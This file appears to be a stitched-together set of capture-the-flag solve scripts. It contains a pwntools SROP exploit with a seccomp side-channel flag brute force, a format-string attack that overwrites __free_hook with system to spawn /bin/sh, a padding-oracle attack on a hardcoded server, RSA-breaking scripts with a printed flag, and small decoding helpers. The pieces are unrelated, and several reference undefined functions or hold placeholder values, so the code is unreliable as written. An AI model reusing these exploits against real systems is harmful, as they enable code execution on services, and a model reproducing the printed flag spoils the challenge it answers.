# -*- coding=utf-8 -*-
#!/usr/bin/env python3
# A script for pwn exp
from pwnlib.adb.adb import shell
from pwn import *
import sys
import subprocess
import warnings
import os
import time

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') #彩色打印

context(arch='amd64', os='Linux')
# context.log_level='debug'
binary = '/home/kali/Desktop/srop_seccomp_side/dockerfile/bin/chall'
rop = ROP(binary)

# gadgets
mov_rax_0xf = 0x401193
leave_ret = 0x40136c
ret_addr = 0x401016
syscall_addr = rop.find_gadget(['syscall']).address
syscall_ret_addr = 0x401186  # full function

# rsi
data_addr = 0x404000
bss_addr = 0x404060


def pwn():
    global io
    flag_addr = 0x405000
    string = "0123456789-abcdefghijklmnopqrstuvwxyz"#有需要的话加上大写字母

    list = [ord(x) for x in string]
    flag = ""
    index = 1
    total = 0

    while 1:
        for i in range(0x20):
            io = process(binary)
            #io = remote("",)
            loop_payload = '''
            mov rsp, {}
            mov dl,byte ptr [rsp+{}]
            mov cl,{}
            cmp dl,cl
            jnz $-0xf
            mov al, 0x3c
            syscall
            '''
			 # rsp-> flag_addr
            #diff -> loop -> timeout
            #same -> next_step -> exit(EOF)
            #input("[Pause]")   


            print("index1:" , index)
            loop_payload = asm(loop_payload.format(flag_addr-0x1,index,list[i]))
            

            # init frame
            frame_read_1 = SigreturnFrame()
            frame_read_1.rax = 0
            frame_read_1.rdi = 0
            frame_read_1.rsi = data_addr
            frame_read_1.rdx = 0x5a
            frame_read_1.rsp = 0x404178  # 指向payload中邻接的mov_rax_0xf在bss段的地址.地址可以通过计算frame大小来推断,也可以在gdb中直接查内存
            frame_read_1.rip = syscall_ret_addr

            frame_chmod = SigreturnFrame()
            frame_chmod.rax = 0x5a
            frame_chmod.rdi = data_addr
            frame_chmod.rsi = 7
            frame_chmod.rsp = 0x404280  # 指向payload中邻接的mov_rax_0xf在bss段的地址
            frame_chmod.rip = syscall_ret_addr

            frame_open = SigreturnFrame()
            frame_open.rax = 0x02
            frame_open.rdi = data_addr
            frame_open.rsi = constants.O_RDONLY
            frame_open.rdx = 0
            frame_open.rsp = 0x404388  # 指向payload中邻接的mov_rax_0xf在bss段的地址
            frame_open.rip = syscall_ret_addr

            # read flag
            frame_read_2 = SigreturnFrame()
            frame_read_2.rax = 0
            frame_read_2.rdi = 3
            frame_read_2.rsi = 0x405000
            frame_read_2.rdx = 0x20
            frame_read_2.rsp = 0x404490  # 指向payload中邻接的mov_rax_0xf在bss段的地址
            frame_read_2.rip = syscall_ret_addr

            frame_mprotect = SigreturnFrame()
            frame_mprotect.rax = 0x0a
            frame_mprotect.rdi = 0x404000
            frame_mprotect.rsi = 0x1000
            frame_mprotect.rdx = 7
            frame_mprotect.rsp = 0x404598  # fream_read
            frame_mprotect.rip = syscall_ret_addr

            # read shellcode
            frame_read_3 = SigreturnFrame()
            frame_read_3.rax = 0
            frame_read_3.rdi = 0
            frame_read_3.rsi = 0x404a00  # shellcode_addr
            frame_read_3.rdx = 0x40
            frame_read_3.rsp = 0x404a00
            frame_read_3.rip = syscall_ret_addr

            # bss
            payload1 = p64(ret_addr) + p64(ret_addr)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_read_1)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_chmod)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_open)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_read_2)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_mprotect)
            payload1 += p64(mov_rax_0xf) + p64(syscall_addr)
            payload1 += bytes(frame_read_3)

            io.recvuntil(b'easyhack\n')
            io.send(payload1)

            # Stack Migration
            payload2 = b'a' * 42 + p64(bss_addr) + p64(leave_ret)
            io.recvuntil(b"Do u know what is SUID?\n")
            io.send(payload2)

            # 两次read，第一次读取flag，第二次读取shellcode
            io.send('./flag\x00'.ljust(0x5a, '\x00'))
            io.send(p64(ret_addr)+p64(0x404a10)+loop_payload)

            #input("[+] Press Enter to continue...")
            try:
                io.clean()
                io.recv(timeout=0.1)
            except EOFError as e:
                flag += chr(list[i])
                index = index + 1
                print("index2:", index)
                io.clean()
                io.close()
                break
            finally:
                li("flag:  "+str(flag))                        
                io.close()
                
pwn()

def send_msg():
    # 要运行的命令
    command = "python3 send_msg.py  127.0.0.1:1000"
    # 使用 subprocess 运行命令
    try:
        result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        print("Command output:", result.stdout)
    except subprocess.CalledProcessError as e:
        print("Command failed with error:", e)
        print("Error output:", e.stderr)

def rc4_encrypt(key, data):
    cipher = ARC4.new(key)
    encrypted_data = cipher.encrypt(data)
    return encrypted_data

def RSA_sign(message,pem_path):
            # 加载私钥（通常是在签名方）
            with open(pem_path, 'rb') as f:
                private_key = serialization.load_pem_private_key(
                    f.read(),
                    password=None,
                    backend=default_backend()
                )
            digest = hashes.Hash(hashes.SHA256(), backend=default_backend())
            digest.update(message)
            hashed_msg = digest.finalize()

            # Sign with RSA-PSS padding
            signature = private_key.sign(
                hashed_msg,
                padding=padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                algorithm=hashes.SHA256()
            )
            # 将字节串转换为十六进制字符串
            signature = ''.join(['%02x' % ord(b) for b in signature])
            print("RSA Signature:", signature)
def extract_public_key_from_private_key(private_key_path):
    with open(private_key_path, "rb") as key_file:
        private_key = serialization.load_pem_private_key(
            key_file.read(),
            password=None,  # 输入私钥的密码，如果有的话
            backend=default_backend()
        )

    public_key = private_key.public_key()

    # 获取公钥的字节串
    public_key_bytes = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )

    # 将字节串转换为字符串
    public_key_str = public_key_bytes.decode('utf-8')

    return public_key_str


def send_one_msg(test,key,msg):
    msg = msg.encode('utf-8')
    encode_msg = rc4_encrypt(key,msg)
    # 将字节串转换为十六进制字符串
    hex_string = ''.join(['%02x' % ord(b) for b in encode_msg])

    # 将十六进制字符串按每两个字符分组，添加"."连接
    MSG = ''.join(hex_string[i:i+2].upper() for i in range(0, len(hex_string), 2)).encode('utf-8')
    MSG = (MSG+b'\x00')
    RSA_sign(MSG,'./pem/client/111/rsa_key.pem')
    test.send(MSG)


def exploit():
    li('exploit...')
    qq_server_ip = server_ip
    #qq_server_port =  33367
    qq_server_port =  10000
    qq = remote(qq_server_ip,qq_server_port)
    LOGIN = 1
    if(LOGIN!=1):
        #注册
        message_to_send = "no\x00\x00".encode('utf-8')
        qq.send(message_to_send)
        byte_str1 = "111".encode('utf-8')
        byte_str2 = b'\x00' * 13
        byte_str3 = b'f6e0a1e2ac41945a9aa7ff8a'
        result = byte_str1 + byte_str2 + byte_str3+b'\x00'*(900+47)
        qq.send(result)
        # 接收服务器的响应
        response = qq.recv(1024).decode('utf-8')
        file_path = "./pem/client/111/rsa_key.pem"
        public_key_str = extract_public_key_from_private_key(file_path)
        qq.send((public_key_str).encode('utf-8'))
        # 接收服务器的响应
        response =  qq.recv(1024).decode('utf-8')


    # 要发送的数据登录
    message_to_send = "yes\x00".encode('utf-8')
    qq.send(message_to_send)
    #test.sendall(message_to_send)
    byte_str1 = "111".encode('utf-8')
    byte_str2 = b'\x00' * 13
    byte_str3 = b'f6e0a1e2ac41945a9aa7ff8a'
    result = byte_str1 + byte_str2 + byte_str3+b'\x00'*(900+47)
    qq.send(result)
    # 接收服务器的响应
    response =  qq.recv(1024).decode('utf-8')
    file_path = "./pem/client/111/rsa_key.pem"
    public_key_str = extract_public_key_from_private_key(file_path)
    qq.send((public_key_str).encode('utf-8'))
    # 接收服务器的响应
    response =  qq.recv(1024).decode('utf-8')


    response =  qq.recv(1024).decode('utf-8')
    index_of_00 = response.find("00")
    RC4=b''.decode('utf-8')
    if index_of_00 != -1:
        # 截断数据到第一个 "00" 的位置
        RC4 = response[:index_of_00+2]
        print(RC4)
    key = RC4.decode("hex")
    print(key)
    db()
    payload= "%p %1459$p "
    msg_list = ["111111",payload]
    for msg in msg_list:
        send_one_msg(qq,key,msg)
        ru("The decode  rc4_msg is ")
        msg = ru("\n")
        li("msg --------->  %s"%msg)


    ru("0x")
    stack_flow = int(ru(' '),16)
    libc_base = int(ru(' '),16)-libc.symbols["write"] -100   #0x111234
    ebp = stack_flow +0xC30
    p1 =  ebp-0x30
    p2 = ebp
    p3 = ebp+0x1890
    li("pl=0x%x  --------> p2=0x%x  -----------> p3=0x%x"%(p1,p2,p3))
    li("stack_ebp  addr -----> 0x%x"% ebp) 
    li("libc addr -----> 0x%x"% libc_base) 
    free_hook = libc_base+libc.symbols["__free_hook"]
    system_addr = libc_base+libc.symbols["system"]
    li("free_hook  addr -----> 0x%x"% free_hook) 
    li("system_addr -----> 0x%x"% system_addr) 
    for i in range(0,6):
        x = 5-i
        off = (p3+x)&0xff
        #取最低的一个字节
        print(ru("\n"))
        pl1 = "%"+str(off)+"c%1849$hhn"+'\x00'*50
        send_one_msg(qq,key,pl1)
        ru("The decode  rc4_msg is ")
        msg = ru("\n")
        li("msg --------->  %s"%msg)
        ch = (free_hook>>(x*8))&0xff
        li("ch  ---> 0x%x" % ch)
        pl2 = "%"+str(ch)+"c%1855$hhn"+'\x00'*50
        send_one_msg(qq,key,pl2)

    pl3 =    ('/bin/sh'+'\x00')
    li("input  ---> %s" % pl3)
    send_one_msg(qq,key,pl3)
    qq.close()
def finish():
    ia()
    c()

from Crypto.Util.number import long_to_bytes

N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
    p2 = list(p)
    p2[j] = str(int(p[j]) ^ int('1'))  # 将p的第j位与1进行异或
    for i in range(j + 1, len(p)):  # 从p的第j+1位开始遍历
        p3 = list(p2)
        p3[i] = str(int(p[i]) ^ int('1'))  # 将p2的第i位与1进行异或
        if N % int(''.join(p3), 2) == 0:
            modified_p = int(''.join(p3), 2)
            flag = True
            break
    if flag:
        break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))

# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long


def proof(broke, Hash):
    assert len(broke) == 16 and len(Hash) == 64
    shaTable = string.ascii_letters + string.digits
    for ii in itertools.permutations(shaTable, 4):
        x = ''.join(ii)
        s = x + broke
        if sha256(s.encode()).hexdigest() == Hash:
            print(x)
            return x


def con():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('124.71.177.14', 10010))
    proof_data = sock.recv(2048)
    send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
    sock.recv(2048)
    sock.send(send_proof)
    data1 = sock.recv(2048)
    print(data1.decode())
    sock.send('1\n'.encode())
    cipher = sock.recv(4096).decode().split(' ')[-1]
    print(cipher)
    guess_iv = [0 for _ in range(16)]
    restore_midd = [0 for _ in range(16)]
    index = 1

    for i in range(15, -1, -1):
        for j in range(0, 256):
            sock.send('2'.encode())
            txt = sock.recv(4096).decode()
            guess_iv[i] = j
            mess = bytes(guess_iv).hex() + cipher[32:]
            sock.send(('%s\n' % mess).encode())
            result = sock.recv(4096).strip().decode()
            if result == 'True':
                print('find')
                restore_midd[i] = index ^ j
                for k in range(15, i - 1, -1):
                    guess_iv[k] = restore_midd[k] ^ (index + 1)
                break
        index += 1

    m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
    print(long_to_bytes(m))


if __name__ == '__main__':
    con()

from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096  # To get all digits


def quadratic(b, c):
    b, c = Decimal(b), Decimal(c)
    disc = b ** 2 - 4 * c
    return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2


n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
    r = r * 8
    if r.bit_length() > 1024 and isPrime(r - 1):
        r = r - 1
        break
print(int(r))
pq = n // r

k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)

bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)

for sp, sq, sr in itertools.product((-1, 1), repeat=3):
    m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
    m = long_to_bytes(m)
    if b"D0g3" in m:
        print(m)

d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
    if i.find("==")>0:
        temp=bin((base64.find(i[-3])&15))[2:]
        #取倒数第3个字符，在base64找到对应的索引数（就是编码数），取低4位，再转换为二进制字符
        binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后，连接字符到binstr
    elif i.find("=")>0:
        temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符，在base64找到对应的索引数（就是编码数），取低2位，再转换为二进制字符
        binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后，连接字符到binstr
str=""
for i in range(0,len(binstr),8):
    str=str+chr(int(binstr[i:i+8],2)) #从左到右，每取8位转换为ascii字符，连接字符到字符串
print(str) 

def caesar_decipher(text, shift):
    result = ""

    for char in text:
        if char.isalpha():
            alphabet = ord('a') if char.islower() else ord('A')
            shifted = (ord(char) - alphabet - shift) % 26  # 逆向偏移
            result += chr(alphabet + shifted)
        else:
            result += char

    return result

# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
    encrypted_content = file.read()

# 自定义偏移量
offset = "mks007"

# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')

# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)

# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
    file.write(decrypted_content)

def swap_positions(hex_string):
    # 将每两位进行位置交换
    swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])

    return swapped

def decrypt_image_hex(encrypted_image_path):
    # 打开加密的文件
    with open(encrypted_image_path, 'rb') as file:
        encrypted_data = file.read()

    # 将加密的字节数据转换为16进制字符串
    encrypted_hex = encrypted_data.hex()

    # 组间交换位置
    swapped_hex = swap_positions(encrypted_hex[::-1])

    # 组内交换位置
    grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]

    # 将16进制字符串转换回字节数据
    decrypted_data = bytes.fromhex(''.join(grouped_hex))

    # 生成解密后的文件
    decrypted_image_path = 'decrypted_image.jpg'
    with open(decrypted_image_path, 'wb') as decrypted_file:
        decrypted_file.write(decrypted_data)

    return decrypted_image_path

# 测试解密函数
encrypted_image_path = 'test.jpg'  # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)